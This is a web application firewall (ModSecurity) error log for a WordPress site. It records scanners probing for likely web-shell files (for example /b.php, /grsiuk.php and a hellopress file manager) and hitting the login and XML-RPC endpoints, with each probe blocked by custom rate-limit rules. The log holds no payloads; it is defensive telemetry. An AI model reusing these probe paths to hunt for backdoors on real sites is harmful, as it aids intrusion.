[Sat Apr 25 01:13:44.487422 2026] [:error] [pid 42792:tid 42823] [client 51.107.77.218:5378] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeukyNNi9qR4GtafpfHXVwAAAgE"]
[Sat Apr 25 01:13:47.271329 2026] [:error] [pid 42852:tid 42876] [client 51.107.77.218:63623] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aeukyzMEwxhhak_EhMKOiQAAAlU"]
[Sat Apr 25 01:13:49.230282 2026] [:error] [pid 42755:tid 42758] [client 51.107.77.218:63656] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aeukzdH7__k0j6aa600CoQAAAIE"]
[Sat Apr 25 01:13:51.062674 2026] [:error] [pid 42792:tid 42846] [client 51.107.77.218:5486] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aeukz9Ni9qR4GtafpfHXaQAAAhg"]
[Sat Apr 25 01:13:52.187467 2026] [:error] [pid 42852:tid 42855] [client 51.107.77.218:5496] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "aeuk0DMEwxhhak_EhMKOkgAAAkA"]
[Sat Apr 25 01:13:53.698279 2026] [:error] [pid 42755:tid 42770] [client 51.107.77.218:64703] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class-api.php"] [unique_id "aeuk0dH7__k0j6aa600CrwAAAI0"]
[Sat Apr 25 01:13:54.802353 2026] [:error] [pid 42755:tid 42781] [client 51.107.77.218:5590] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class-api.php"] [unique_id "aeuk0tH7__k0j6aa600CtAAAAJg"]
[Sat Apr 25 01:13:55.416838 2026] [:error] [pid 42791:tid 42795] [client 51.107.77.218:5457] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class-api.php"] [unique_id "aeuk07KmN9doraCEWKXp2gAAAcA"]
[Sat Apr 25 01:13:56.264755 2026] [:error] [pid 42792:tid 42842] [client 51.107.77.218:47495] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class-api.php"] [unique_id "aeuk1NNi9qR4GtafpfHXdQAAAhQ"]
[Sat Apr 25 01:13:57.293282 2026] [:error] [pid 14989:tid 14994] [client 51.107.77.218:5381] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aeuk1XhRYjsAsZTO4EOUOAAAAAM"]
[Sat Apr 25 01:13:58.563828 2026] [:error] [pid 42792:tid 42832] [client 51.107.77.218:64732] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aeuk1tNi9qR4GtafpfHXfwAAAgo"]
[Sat Apr 25 01:13:59.768181 2026] [:error] [pid 14989:tid 15007] [client 51.107.77.218:64643] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aeuk13hRYjsAsZTO4EOUPgAAABA"]
[Sat Apr 25 01:14:00.924638 2026] [:error] [pid 14989:tid 15002] [client 51.107.77.218:64224] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aeuk2HhRYjsAsZTO4EOUQQAAAAs"]
[Sat Apr 25 01:14:01.983650 2026] [:error] [pid 42791:tid 42796] [client 51.107.77.218:64244] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeuk2bKmN9doraCEWKXp3wAAAcE"]
[Sat Apr 25 01:14:02.995364 2026] [:error] [pid 14989:tid 14992] [client 51.107.77.218:63650] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeuk2nhRYjsAsZTO4EOUTwAAAAE"]
[Sat Apr 25 01:14:03.896170 2026] [:error] [pid 14989:tid 15008] [client 51.107.77.218:5584] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeuk23hRYjsAsZTO4EOUUwAAABE"]
[Sat Apr 25 01:14:05.263581 2026] [:error] [pid 42792:tid 42843] [client 51.107.77.218:63644] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeuk3dNi9qR4GtafpfHXmQAAAhU"]
[Sat Apr 25 01:14:06.448469 2026] [:error] [pid 14989:tid 14999] [client 51.107.77.218:5427] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeuk3nhRYjsAsZTO4EOUWwAAAAg"]
[Sat Apr 25 01:14:07.832882 2026] [:error] [pid 14989:tid 15012] [client 51.107.77.218:5627] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeuk33hRYjsAsZTO4EOUYAAAABU"]
[Sat Apr 25 01:14:09.471420 2026] [:error] [pid 42791:tid 42813] [client 51.107.77.218:64171] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeuk4bKmN9doraCEWKXp7wAAAdI"]
[Sat Apr 25 01:14:10.297563 2026] [:error] [pid 14989:tid 15011] [client 51.107.77.218:64193] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeuk4nhRYjsAsZTO4EOUawAAABQ"]
[Sat Apr 25 01:14:11.420185 2026] [:error] [pid 42755:tid 42774] [client 51.107.77.218:5453] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aeuk49H7__k0j6aa600CwAAAAJE"]
[Sat Apr 25 01:14:12.562170 2026] [:error] [pid 42792:tid 42827] [client 51.107.77.218:5399] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aeuk5NNi9qR4GtafpfHXpQAAAgU"]
[Sat Apr 25 01:14:14.126625 2026] [:error] [pid 14989:tid 14993] [client 51.107.77.218:65176] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aeuk5nhRYjsAsZTO4EOUdgAAAAI"]
[Sat Apr 25 01:14:15.685828 2026] [:error] [pid 14989:tid 15015] [client 51.107.77.218:5441] [client 51.107.77.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/first.php"] [unique_id "aeuk53hRYjsAsZTO4EOUewAAABg"]
[Sat Apr 25 01:37:03.668507 2026] [:error] [pid 42792:tid 42838] [client 40.89.132.50:53083] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeuqP9Ni9qR4GtafpfHeOAAAAhA"]
[Sat Apr 25 01:37:04.139105 2026] [:error] [pid 42792:tid 42834] [client 40.89.132.50:38787] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeuqQNNi9qR4GtafpfHeOQAAAgw"]
[Sat Apr 25 01:37:04.618794 2026] [:error] [pid 42755:tid 42773] [client 40.89.132.50:53093] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeuqQNH7__k0j6aa600H4gAAAJA"]
[Sat Apr 25 01:37:05.212859 2026] [:error] [pid 42791:tid 42798] [client 40.89.132.50:7034] [client 40.89.132.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeuqQbKmN9doraCEWKXxTwAAAcM"]
[Sat Apr 25 02:01:01.045992 2026] [:error] [pid 14989:tid 14999] [client 75.127.14.16:60642] [client 75.127.14.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 75.127.14.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aeuv3XhRYjsAsZTO4EOvWwAAAAg"]
[Sat Apr 25 02:16:13.261989 2026] [:error] [pid 42755:tid 42776] [client 84.54.90.90:18959] [client 84.54.90.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.54.90.90, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeuzbdH7__k0j6aa600RvwAAAJM"]
[Sat Apr 25 02:27:15.820737 2026] [:error] [pid 14989:tid 15007] [client 54.37.252.229:58648] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aeu2A3hRYjsAsZTO4EPAlAAAABA"]
[Sat Apr 25 02:27:18.137719 2026] [:error] [pid 42791:tid 42815] [client 54.37.252.229:45822] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aeu2BrKmN9doraCEWKUBJwAAAdQ"]
[Sat Apr 25 02:27:20.513769 2026] [:error] [pid 14989:tid 15012] [client 54.37.252.229:45832] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aeu2CHhRYjsAsZTO4EPArQAAABU"]
[Sat Apr 25 02:27:23.032549 2026] [:error] [pid 14989:tid 15012] [client 54.37.252.229:45838] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aeu2C3hRYjsAsZTO4EPAuQAAABU"]
[Sat Apr 25 02:27:25.541456 2026] [:error] [pid 14989:tid 14993] [client 54.37.252.229:58870] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aeu2DXhRYjsAsZTO4EPAwQAAAAI"]
[Sat Apr 25 02:27:28.080676 2026] [:error] [pid 42792:tid 42822] [client 54.37.252.229:58886] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aeu2ENNi9qR4GtafpfHwJAAAAgA"]
[Sat Apr 25 02:27:30.438030 2026] [:error] [pid 42792:tid 42839] [client 54.37.252.229:58892] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aeu2EtNi9qR4GtafpfHwKgAAAhE"]
[Sat Apr 25 02:27:32.966950 2026] [:error] [pid 42852:tid 42876] [client 54.37.252.229:58904] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aeu2FDMEwxhhak_EhMKx5QAAAlU"]
[Sat Apr 25 02:27:35.449453 2026] [:error] [pid 42852:tid 42876] [client 54.37.252.229:50638] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aeu2FzMEwxhhak_EhMKx7gAAAlU"]
[Sat Apr 25 02:27:37.974860 2026] [:error] [pid 14989:tid 14998] [client 54.37.252.229:50654] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeu2GXhRYjsAsZTO4EPA0gAAAAc"]
[Sat Apr 25 02:27:40.328155 2026] [:error] [pid 14989:tid 14994] [client 54.37.252.229:50656] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeu2HHhRYjsAsZTO4EPA3QAAAAM"]
[Sat Apr 25 02:27:42.851358 2026] [:error] [pid 14989:tid 15000] [client 54.37.252.229:50664] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeu2HnhRYjsAsZTO4EPA8AAAAAk"]
[Sat Apr 25 02:27:45.359570 2026] [:error] [pid 14989:tid 14992] [client 54.37.252.229:46420] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeu2IXhRYjsAsZTO4EPA-wAAAAE"]
[Sat Apr 25 02:27:47.869893 2026] [:error] [pid 14989:tid 15015] [client 54.37.252.229:46428] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeu2I3hRYjsAsZTO4EPA_wAAABg"]
[Sat Apr 25 02:27:50.402366 2026] [:error] [pid 14989:tid 14998] [client 54.37.252.229:46438] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeu2JnhRYjsAsZTO4EPBCgAAAAc"]
[Sat Apr 25 02:27:52.744804 2026] [:error] [pid 42755:tid 42771] [client 54.37.252.229:46446] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeu2KNH7__k0j6aa600VfQAAAI4"]
[Sat Apr 25 02:27:55.254453 2026] [:error] [pid 14989:tid 15015] [client 54.37.252.229:58600] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeu2K3hRYjsAsZTO4EPBEwAAABg"]
[Sat Apr 25 02:27:57.759215 2026] [:error] [pid 42792:tid 42823] [client 54.37.252.229:58604] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeu2LdNi9qR4GtafpfHwUwAAAgE"]
[Sat Apr 25 02:28:00.256043 2026] [:error] [pid 14989:tid 15005] [client 54.37.252.229:58612] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeu2MHhRYjsAsZTO4EPBJAAAAA4"]
[Sat Apr 25 02:28:02.766404 2026] [:error] [pid 42852:tid 42866] [client 54.37.252.229:58622] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeu2MjMEwxhhak_EhMKyFAAAAks"]
[Sat Apr 25 02:28:05.270528 2026] [:error] [pid 42852:tid 42870] [client 54.37.252.229:38410] [client 54.37.252.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeu2NTMEwxhhak_EhMKyHAAAAk8"]
[Sat Apr 25 06:36:46.147861 2026] [:error] [pid 46083:tid 46100] [client 194.164.168.219:38862] [client 194.164.168.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.164.168.219, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aevwfjxw_Zq74vWdjmk8PgAAAQ0"]
[Sat Apr 25 06:57:14.265636 2026] [:error] [pid 44320:tid 44362] [client 20.251.112.6:40163] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litespeed.php"] [unique_id "aev1SjmFqSpku_dij8h9gAAAAEY"]
[Sat Apr 25 06:57:14.792750 2026] [:error] [pid 44319:tid 44347] [client 20.251.112.6:60505] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litespeed.php"] [unique_id "aev1SszJPAVLUb2pWtJaRAAAABI"]
[Sat Apr 25 06:57:15.312672 2026] [:error] [pid 44425:tid 44430] [client 20.251.112.6:52680] [client 20.251.112.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litespeed.php"] [unique_id "aev1SyUl-VlItvY2tR8WxgAAAMM"]
